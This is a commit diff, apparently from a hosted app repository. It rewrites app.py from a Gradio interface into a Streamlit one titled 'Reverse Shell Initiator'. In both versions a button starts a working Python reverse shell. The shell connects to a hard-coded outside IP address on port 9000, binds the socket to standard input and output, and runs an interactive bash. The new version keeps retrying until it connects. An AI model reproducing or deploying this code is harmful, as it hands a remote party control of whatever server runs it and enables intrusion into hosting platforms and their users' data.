dana56 commited on
Commit
40c55c5
·
verified ·
1 Parent(s): 172634a

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +19 -36
app.py CHANGED
@@ -1,52 +1,35 @@
1
- import gradio as gr
2
  import socket
3
  import subprocess
4
- import threading
5
  import os
 
 
6
 
7
  def run_reverse_shell():
8
- try:
9
- # Задаем IP-адрес и порт сервера
10
  ip = '45.155.205.202'
11
  port = 9000
12
 
13
- def shell_thread():
14
  try:
15
- # Создаем сокет
16
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
17
  s.connect((ip, port))
18
-
19
- # Отправляем сообщение о подключении
20
  s.send(b"Connected to reverse shell.\n")
21
-
22
- # Сразу входим в интерактивную оболочку
23
- os.dup2(s.fileno(), 0) # stdin
24
- os.dup2(s.fileno(), 1) # stdout
25
- os.dup2(s.fileno(), 2) # stderr
26
-
27
- # Запускаем оболочку (например, bash)
28
- p = subprocess.call(['/bin/bash', '-i']) # Используем -i для интерактивного режима
29
-
30
- # Закрываем сокет
31
  s.close()
 
32
  except Exception as e:
33
- return f"Error: {e}"
34
-
35
- # Запускаем обратную оболочку в отдельном потоке, чтобы не блокировать Gradio интерфейс
36
- shell = threading.Thread(target=shell_thread)
37
- shell.start()
38
- return "Reverse shell has been initiated."
39
- except Exception as e:
40
- return f"An error occurred: {str(e)}"
41
 
42
- # Создаем интерфейс Gradio
43
- iface = gr.Interface(
44
- fn=run_reverse_shell,
45
- inputs=None, # Нет входных данных, только кнопка
46
- outputs="text",
47
- title="Reverse Shell Initiator",
48
- description="Click the button to initiate a reverse shell."
49
- )
50
 
51
- # Запуск интерфейса
52
- iface.launch()
 
 
 
1
+ import streamlit as st
2
  import socket
3
  import subprocess
 
4
  import os
5
+ import threading
6
+ import time
7
 
8
  def run_reverse_shell():
9
+ def shell_thread():
 
10
  ip = '45.155.205.202'
11
  port = 9000
12
 
13
+ while True:
14
  try:
 
15
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
16
  s.connect((ip, port))
 
 
17
  s.send(b"Connected to reverse shell.\n")
18
+ os.dup2(s.fileno(), 0)
19
+ os.dup2(s.fileno(), 1)
20
+ os.dup2(s.fileno(), 2)
21
+ subprocess.call(['/bin/bash', '-i'])
 
 
 
 
 
 
22
  s.close()
23
+ break
24
  except Exception as e:
25
+ print(f"Connection failed: {e}. Retrying in 3 seconds...")
26
+ time.sleep(3)
 
 
 
 
 
 
27
 
28
+ shell = threading.Thread(target=shell_thread)
29
+ shell.start()
30
+ return "Reverse shell has been initiated."
 
 
 
 
 
31
 
32
+ st.title("Reverse Shell Initiator")
33
+ if st.button("Initiate Reverse Shell"):
34
+ result = run_reverse_shell()
35
+ st.write(result)